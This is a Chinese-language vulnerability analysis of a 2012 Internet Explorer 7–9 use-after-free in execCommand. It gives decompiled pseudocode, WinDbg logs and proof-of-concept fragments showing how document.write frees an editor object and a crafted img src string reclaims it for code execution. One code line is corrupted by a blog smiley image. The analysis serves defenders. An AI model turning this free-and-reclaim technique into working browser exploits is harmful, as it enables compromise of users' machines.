漏洞分析信息
软件版本:ie7 ie8 ie9
分析者 :instruder of code audit labs of vulnhunt.com
漏洞描述
昨天,eromang捕获了一个IE 0day,在他的blog上 http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/
确认了可导致全补丁的IE7,IE8,IE9 执行代码,并且该0day 攻击已经in the wild. 随后,翰海源对漏洞进行了进一步分析确认。以下为该0day漏洞的分析:
IE的execCommand函数在执行命令事件时,会首先通过AddCommandTarget函数分配相应的CMshtmlEd对象,然后在调用mshtml!CMshtmlEd::Exec();函数进行执行,但是该execCommand函数在添加完对应的事件之后,会立即触发相应的事件函数调用,在相应的事件函数调用中通过document.write(“L”)函数重写html,从而导致ie调用CHTMLEditor::DeleteCommandTarget去释放掉之前申请的CMshtmlEd对象,从而导致后面在执行mshtml!CMshtmlEd::Exec()时触发used after free漏洞。
伪代码
CEditRouter__ExecEditCommand() { if(CEditRouter__SetInternalEditHandler()) { mshtml!CMshtmlEd::Exec(); } } CEditRouter__SetInternalEditHandler() { CHTMLEditor::AddCommandTarget(); } CHTMLEditor::AddCommandTarget() { int v3; // eax@1 int v4; // ecx@1 int v5; // edi@1 int v6; // esi@1 int result; // eax@4 v5 = a1; v3 = (int)HeapAlloc(g_hProcessHeap, 8u, 0x88u); v6 = 0; if ( v3 ) v6 = CMshtmlEd__CMshtmlEd(v4, v3, a2, 0); } AddCommandTarget()之后立马触发事件调用TestArray函数 function TestArray() { document.write("L"); //站位 parent.jifud[L].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH"; } document.write("L")会调用DeleteCommandTarget函数CMshtmlEd对象Release函数 int __stdcall CHTMLEditor__DeleteCommandTarget(int a1, struct IUnknown *a2) { int v2; // ebx@1 int v3; // edi@1 int v4; // esi@2 v2 = a1; v3 = CHTMLEditor__FindCommandTarget(a2, (int)&a1); if ( !v3 ) { v4 = a1; v3 = CImplPtrAry__DeleteByValue(v2 + 108, a1); CMshtmlEd::Release(); } return v3; }
parent.jifud[L].src 语句进行站位释放掉的内存,具体见下面分析
CEditRouter__SetInternalEditHandler()函数执行完毕之后会调用mshtml!CMshtmlEd::Exec函数执行命令,而CMshtmlEd对象已经释放,从而导致used after free 漏洞
漏洞分析
当poc里面执行document.execCommand(“selectAll”); 语句时,
ie会调用CEditRouter__ExecEditCommand 函数,该函数里面会先调用 CEditRouter__SetInternalEditHandler去 CHTMLEditor::AddCommandTarget
添加对应的命令事件
(采用的vm快照分析,地址每次都是一样:)
申请CMshtmlEd对象
0:008> g Breakpoint 4 hit eax=0214be4c ebx=002072a8 ecx=0022d898 edx=00000004 esi=002072a8 edi=0214be4c eip=6359daaf esp=0214be18 ebp=0214be30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CHTMLEditor::AddCommandTarget+0x1a: 6359daaf ff1564135863 call dword ptr [mshtml!_imp__HeapAlloc (63581364)] ds:0023:63581364={ntdll!RtlAllocateHeap (7c9300c4)} 0:008> dd esp 0214be18 00150000 00000008 00000088 00000001 0:008> g Breakpoint 5 hit eax=002385a8 ebx=002072a8 ecx=7c9301db edx=00000088 esi=002072a8 edi=0214be4c eip=6359dab5 esp=0214be24 ebp=0214be30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CHTMLEditor::AddCommandTarget+0x20: 6359dab5 33f6 xor esi,esi 0:008> dd 002385a8 002385a8 00000000 00000000 00000000 00000000 002385b8 00000000 00000000 00000000 00000000 ChildEBP RetAddr Args to Child 0214be30 6385ac44 00239cf8 02f5e1f0 02e90210 mshtml!CHTMLEditor::AddCommandTarget+0x20 0214be58 637d41c5 00239cf8 02e90210 0214be94 mshtml!CHTMLEditor::GetCommandTarget+0x94 0214be70 637d4091 00239cf8 02e90210 0214be94 mshtml!CHTMLEditorProxy::GetCommandTarget+0x1e 0214be98 637d4355 00000000 0023d6a0 00000001 mshtml!CEditRouter::SetInternalEditHandler+0x64 0214bebc 637be2fc 6361bad0 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xac 0214c278 638afda7 0352a188 6361bad0 0000001f mshtml!CDoc::ExecHelper+0x3c91 0214c298 638ee2a9 0352a188 6361bad0 0000001f mshtml!CDocument::Exec+0x24 0214c2c0 638b167b 037c6940 0000001f 0214000a mshtml!CBase::execCommand+0x50 //execCommand 0214c2f8 638e7445 00000001 037c6940 00000000 mshtml!CDocument::execCommand+0x93 0214c370 636430c9 0352a188 037c3e78 001fbbb0 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149 0214c3e4 63643595 0352a188 00000429 00000001 mshtml!CBase::ContextInvokeEx+0x5d1 0214c410 63643832 0352a188 00000429 00000001 mshtml!CBase::InvokeEx+0x25 0214c460 635e1cdc 0352a188 0000000b 00000429 mshtml!DispatchInvokeCollection+0x14b 0214c4a8 63642f30 0352a188 00000429 00000001 mshtml!CDocument::InvokeEx+0xf1 0214c4d0 63642eec 0352a188 00000429 00000001 mshtml!CBase::VersionedInvokeEx+0x20 0214c520 633a6d37 001fb9d0 00000429 00000001 mshtml!PlainInvokeEx+0xea 0214c560 633a6c75 037b0550 00000429 00000409 jscript!IDispatchExInvokeEx2+0xf8 0214c59c 633a9cfe 037b0550 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a 0214c65c 633a9f3c 00000429 00000001 00000000 jscript!InvokeDispatchEx+0x98 0214c690 633a77ff 037b0550 0214c6c4 00000001 jscript!VAR::InvokeByName+0x135
这里填充上面分配的内存
mshtml!CMshtmlEd::CMshtmlEd: 6359de45 8bff mov edi,edi 6359de47 55 push ebp 6359de48 8bec mov ebp,esp 6359de4a 52 push edx 6359de4b 8d4a18 lea ecx,[edx+18h] 6359de4e c702a49e6363 mov dword ptr [edx],offset mshtml!CMshtmlEd::`vftable' (63639ea4) 6359de54 e82f000000 call mshtml!CSpringLoader::CSpringLoader (6359de88) 6359de59 8b4508 mov eax,dword ptr [ebp+8] 0:008> p eax=002072a8 ebx=002072a8 ecx=002384a0 edx=00238488 esi=00000000 edi=00207334 eip=6359de5c esp=0214bdfc ebp=0214bdfc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CMshtmlEd::CMshtmlEd+0x17: 6359de5c 33c9 xor ecx,ecx 0:008> dds eax 002072a8 6361c190 mshtml!ATL::CComObject::`vftable' 6359de5c 33c9 xor ecx,ecx 6359de5e 394d0c cmp dword ptr [ebp+0Ch],ecx 6359de61 894208 mov dword ptr [edx+8],eax 填充 CHTMLEditor vtable 0:008> g Breakpoint 2 hit eax=002072a8 ebx=002072a8 ecx=00000000 edx=002385a8 esi=00000000 edi=0214be4c eip=6359de64 esp=0214be14 ebp=0214be14 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CMshtmlEd::CMshtmlEd+0x1f: 6359de64 0f95c1 setne cl 0:008> dd 002385a8 002385a8 63639ea4 00000000 002072a8 00000000 002385b8 00000000 00000000 00000000 00000000 int __userpurge CHTMLEditor__AddCommandTarget(int a1, int a2, int a3) { int v3; // eax@1 int v4; // ecx@1 int v5; // edi@1 int v6; // esi@1 int result; // eax@4 v5 = a1; v3 = (int)HeapAlloc(g_hProcessHeap, 8u, 0x88u); v6 = 0; if ( v3 ) v6 = CMshtmlEd__CMshtmlEd(v4, v3, a2, 0); *(_DWORD *)v5 = v6; ……… } int __fastcall CMshtmlEd__CMshtmlEd(int a1, int a2, int a3, int a4) { int v5; // edx@1 *(_DWORD *)a2 = &CMshtmlEd___vftable_; CSpringLoader__CSpringLoader(a2); *(_DWORD *)(v5 + <img src="http://blog.vulnhunt.com/wp-includes/images/smilies/icon_cool.gif" alt="8)" class="wp-smiley"> = a3; *(_DWORD *)(v5 + 4) = 1; *(_DWORD *)(v5 + 132) ^= (*(_DWORD *)(v5 + 132) ^ 2 * (a4 != 0)) & 2; return v5; }
上述addCommandTarget函数之后,会触发selectAll事件,该事件对应的注册函数为onselect=’TestArray‘
poc里面的document.write(“L”) 这句触发调用 mshtml!CHTMLEditor::DeleteCommandTarget 函数,将之前CMshtmlEd对象释放掉
bu RtlFreeHeap “.echo free heap;db poi(esp+c) l8;kb;.if(poi(esp+c)==0×002385a8){} .else{g}”
CHTMLEditor::DeleteCommandTarget函数会调用CMshtmlEd::Release函数会释放该对象
int __stdcall CHTMLEditor__DeleteCommandTarget(int a1, struct IUnknown *a2) { int v2; // ebx@1 int v3; // edi@1 int v4; // esi@2 v2 = a1; v3 = CHTMLEditor__FindCommandTarget(a2, (int)&a1); if ( !v3 ) { v4 = a1; v3 = CImplPtrAry__DeleteByValue(v2 + 108, a1); (*(void (__stdcall **)(int))(*(_DWORD *)v4 + 8))(v4); //CMshtmlEd::Release } return v3; } 调试log: free heap 002385a8 a4 9e 63 63 00 00 00 00 ..cc.... ChildEBP RetAddr Args to Child 0214826c 6375bf26 00150000 00000000 002385a8 ntdll!RtlFreeHeap 02148284 639d53d6 002385a8 002072a8 00000000 mshtml!CMshtmlEd::Release+0x25 0214829c 639d0d30 002385a8 0380e628 00000000 mshtml!CHTMLEditor::DeleteCommandTarget+0x34 021482c8 6385ac12 021482ec 6361c270 002072a8 mshtml!CHTMLEditor::RemoveContainer+0x15f 021482d0 6361c270 002072a8 0000000f 0022db20 mshtml!CHTMLEditor::Notify+0x26 021482ec 6360feb4 002072a8 0000000f 0022db20 mshtml!CHTMLEditorProxy::Notify+0x21 02148308 637e6671 0022db20 00000000 0022d970 mshtml!CDoc::NotifySelection+0x59 02148370 637525ff 0022d970 00000000 00000003 mshtml!COmWindowProxy::SwitchMarkup+0x347 0214846c 637561c5 03818ce8 00000000 00000000 mshtml!CDocument::open+0x417 021484e8 63774271 03818ce8 0380e668 04824fc0 mshtml!CDocument::write+0x7c
poc里面的 parent.jifud[L].src = “YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH”; ++L;
语句执行会调用下面过程,申请了这块内存,然后后面进行拷贝poc里面的src内容
0:008> r eax=00000082 ebx=04827140 ecx=63680000 edx=04827142 esi=00000040 edi=02148560 eip=636560eb esp=02148538 ebp=0214854c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!StripCRLF+0x41: 636560eb ff1564135863 call dword ptr [mshtml!_imp__HeapAlloc (63581364)] ds:0023:63581364={ntdll!RtlAllocateHeap (7c9300c4)} 0:008> dd esp 02148538 00150000 00000000 00000082 002301f8 0:008> g Breakpoint 6 hit eax=002385a8 ebx=04827140 ecx=7c9301db edx=0000000e esi=00000040 edi=02148560 eip=636560f1 esp=02148544 ebp=0214854c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!StripCRLF+0x47: 636560f1 85c0 test eax,eax 0:008> kb ChildEBP RetAddr Args to Child 0214854c 63680b40 00000000 00000000 0022f850 mshtml!StripCRLF+0x56 02148564 6368a69f 636509bc 04896ef8 0022f850 mshtml!BASICPROPPARAMS::SetUrlProperty+0x17 02148580 6366906f 0022f850 04896ef8 04894648 mshtml!CImgElement::put_src+0x1b 021485b0 636430c9 0022f850 04894648 036f1580 mshtml!GS_BSTR+0x1ab 02148624 6366418a 0022f850 000003eb 00000001 mshtml!CBase::ContextInvokeEx+0x5d1 02148674 63686ed8 0022f850 000003eb 00000001 mshtml!CElement::ContextInvokeEx+0x9d 021486a0 63642eec 0022f850 000003eb 00000001 mshtml!CImgElement::VersionedInvokeEx+0x64 021486f0 633a6d37 002254e0 000003eb 00000001 mshtml!PlainInvokeEx+0xea 02148730 633a6c75 04892c30 000003eb 00000409 jscript!IDispatchExInvokeEx2+0xf8 0214876c 633a9cfe 04892c30 00000409 00000004 jscript!IDispatchExInvokeEx+0x6a 0214882c 633a9f3c 000003eb 00000004 00000000 jscript!InvokeDispatchEx+0x98 02148860 633a77ff 04892c30 02148894 0000000c jscript!VAR::InvokeByName+0x135 021488a8 633a75bf 04892c30 0000000c 00000000 jscript!VAR::InvokeDispName+0x7a 02148a3c 633a5ab0 02148a54 02148b9c 02148b9c jscript!CScriptRuntime::Run+0x1f27 02148b24 633a59f7 02148b9c 00000000 009afe00 jscript!ScrFncObj::CallWithFrameOnStack+0xff 02148b70 633a5743 02148b9c 00000000 009afe00 jscript!ScrFncObj::Call+0x8f 02148bec 633a8bc7 04897c30 0214afe8 00000000 jscript!CSession::Execute+0x175 02148cd4 633a8a35 04897c30 00000000 00000001 jscript!NameTbl::InvokeDef+0x1b8 02148d58 633a6d37 04897c30 00000000 00000001 jscript!NameTbl::InvokeEx+0x129 02148d98 633a6c75 04892c30 00000000 00000001 jscript!IDispatchExInvokeEx2+0xf8 signed int __userpurge StripCRLF(int a1, unsigned __int16 *a2, unsigned __int16 **a3) //站位 拷贝 buffer = HeapAlloc(g_hProcessHeap, 0, 2 * v7 + 2); *(_DWORD *)a1 = buffer; if ( buffer ) { while ( v7 > 0 ) { v8 = *v3; if ( *v3 != '\r' ) { if ( v8 != '\n' ) { *(_WORD *)buffer = v8; buffer = (char *)buffer + 2; } } ++v3; --v7; } *(_WORD *)buffer = 0; }
上述流程之后,会执行到mshtml!CMshtmlEd::Exec函数,而CMshtmlEd已经释放然后重新站位,从而导致了任意代码执行
Breakpoint 1 hit eax=00000000 ebx=0000001f ecx=00206910 edx=0000000d esi=00000000 edi=00237ee0 eip=637d464b esp=0214be80 ebp=0214be8c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mshtml!CMshtmlEd::Exec+0x131: 637d464b 8b7f08 mov edi,dword ptr [edi+8] ds:0023:00237ee8=0c0c0c08 0:008> kb ChildEBP RetAddr Args to Child 0214be8c 637d4387 00237ee0 6361bad0 0000001f mshtml!CMshtmlEd::Exec+0x131 0214bebc 637be2fc 6361bad0 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xd6 0214c278 638afda7 036fee20 6361bad0 0000001f mshtml!CDoc::ExecHelper+0x3c91 0214c298 638ee2a9 036fee20 6361bad0 0000001f mshtml!CDocument::Exec+0x24 0214c2c0 638b167b 04896e80 0000001f 0214000a mshtml!CBase::execCommand+0x50 0214c2f8 638e7445 00000001 04896e80 00000000 mshtml!CDocument::execCommand+0x93 0214c370 636430c9 036fee20 04894320 036fe9a0 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149 0214c3e4 63643595 036fee20 00000429 00000001 mshtml!CBase::ContextInvokeEx+0x5d1 0214c410 63643832 036fee20 00000429 00000001 mshtml!CBase::InvokeEx+0x25 0214c460 635e1cdc 036fee20 0000000b 00000429 mshtml!DispatchInvokeCollection+0x14b 0214c4a8 63642f30 036fee20 00000429 00000001 mshtml!CDocument::InvokeEx+0xf1 0214c4d0 63642eec 036fee20 00000429 00000001 mshtml!CBase::VersionedInvokeEx+0x20 0214c520 633a6d37 0019ff98 00000429 00000001 mshtml!PlainInvokeEx+0xea 0214c560 633a6c75 04892c30 00000429 00000409 jscript!IDispatchExInvokeEx2+0xf8 0214c59c 633a9cfe 04892c30 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a 0214c65c 633a9f3c 00000429 00000001 00000000 jscript!InvokeDispatchEx+0x98 0214c690 633a77ff 04892c30 0214c6c4 00000001 jscript!VAR::InvokeByName+0x135 0214c6dc 633a85c7 04892c30 00000001 00000000 jscript!VAR::InvokeDispName+0x7a 0214c708 633a9c0b 04892c30 00000000 00000001 jscript!VAR::InvokeByDispID+0xce 0214c8a4 633a5ab0 0214c8bc 0214ca04 0214ca04 jscript!CScriptRuntime::Run+0x2989
Crash info
缓解措施
暂时可用其他浏览器替代,直到微软修补该漏洞
感谢binjo 大东 :)
[via 瀚海源]